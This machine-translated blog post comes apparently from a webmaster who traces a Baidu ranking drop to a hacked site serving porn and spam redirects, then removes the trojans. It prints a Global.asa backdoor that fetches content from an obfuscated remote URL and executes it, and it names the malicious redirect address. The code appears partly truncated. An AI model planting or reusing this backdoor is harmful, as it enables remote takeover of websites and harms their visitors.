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These days the site rankings, has been constantly floating. Seowhy Forum found that there are many sites, as I have been ranked 100 of pages away. This situation in the SEO industry is known as "the Dragon Boat Festival period." Now distance Baidu Dragon Boat Festival has been through a full one weeks, many friends of the site began to slowly restore rankings, but my site ranking is still ranked in the thousands of miles away. A little strange! Helpless for the site rankings, from scratch for the site to do a detailed analysis.
Enough analysis to insight into the future!
First open Baidu, site: Their own web site, found that the site is a bit unusual, and then carefully page a look, my ah! The site is included in some yellow and pornographic and other spam pages and titles. From Baidu search into the site, the site was automatically jumped to the http://c.cat777.in/1/a1.html?www this page, but also 360 security prompts for the Trojan site. Screenshot below:
I have never encountered such a situation ah, these days I opened the site did not appear to jump Ah, how the site will suddenly jump to the pornographic page up? A little confused. on the internet also searched a lot of related to jump articles, found that there is a common feature, is a collection of pornographic yellow, such as the title of the snapshot, from Baidu Search to the automatic jump to the yellow site, from the original site login will not appear in the jump (is to enter their own web site will not appear jump). This kind of situation, let me start to suspect that the site is not hacked Ah, the site is not a Trojan Ah, all kinds of speculation, but also more and more.
Find out what the problem is!
Should start from the source of the site analysis, the first login ftp to download the source program to the local, with the Sinesafe website Trojan detected under, found three Trojans, respectively, is Global.asa cende.asp about.asp, one of which is the clear text of the Trojan Code, code as follows:
Sub Session_OnStart
Url= "H" & "T" & "T" & "P" & ":" & "/" & "/" & "T" & "(" & ")" & ". & "Q" & "U" & "3" & "4" & "5" & "6" & ". &
Set objxmlhttp=server.createobject ("Msxml2.serverxmlhttp")
Objxmlhttp.open "Get", Url,false
Objxmlhttp.setrequestheader "user", url
Objxmlhttp.send
Gethtml=objxmlhttp.responsebody
Set objxmlhttp=nothing
Set objstream = Server.CreateObject ("ADODB.stream")
objStream.Type = 1
Objstream.mode = 3
objStream.Open
Objstream.write gethtml
objstream.position = 0
objStream.Type = 2
Objstream.charset = "gb2312"
gethtml = Objstream.readtext
objStream.Close
If InStr (gethtml, [Elvis]) > 0 Then Execute (gethtml)
End Sub
The code is obviously not the original site, I found a program design friend consulted the role of the code, said that the use of Global.asa this special file, to remote access to content and title role. I just understand come over, the original site contains so much rubbish yellow page, is this Trojan Devil, Trojan Horse from remote server to get content, and attract Baidu spiders to crawl and included. All kinds of reasons have been analyzed very thoroughly, Trojan deceived Baidu spiders and let spiders a large number of collection of garbage pages, the weight of the site will inevitably have a great drop right, so the ranking will be refused thousands of miles!
Know the reason, the solution has a way!
Just check out the three Trojan files, delete it. Then the FTP space to empty the program, the removal of the Trojan program files uploaded to space, reopen the site, the site to jump to solve the problem. Finally open the complaint center Baidu Http://tousu.baidu.com/webmaster/add the site's snapshot address to fill out and submit a complaint, Baidu will be dealt with within a week, the site rankings and included problems will be the final perfect solution.
Throughout, the solution to the problem is a detailed analysis. Only enough analysis can solve the problem. The above is my personal analysis and solution to the problem, I hope to help more people like me, help others is also helping themselves, to do good deeds, in life on the road you will go farther!
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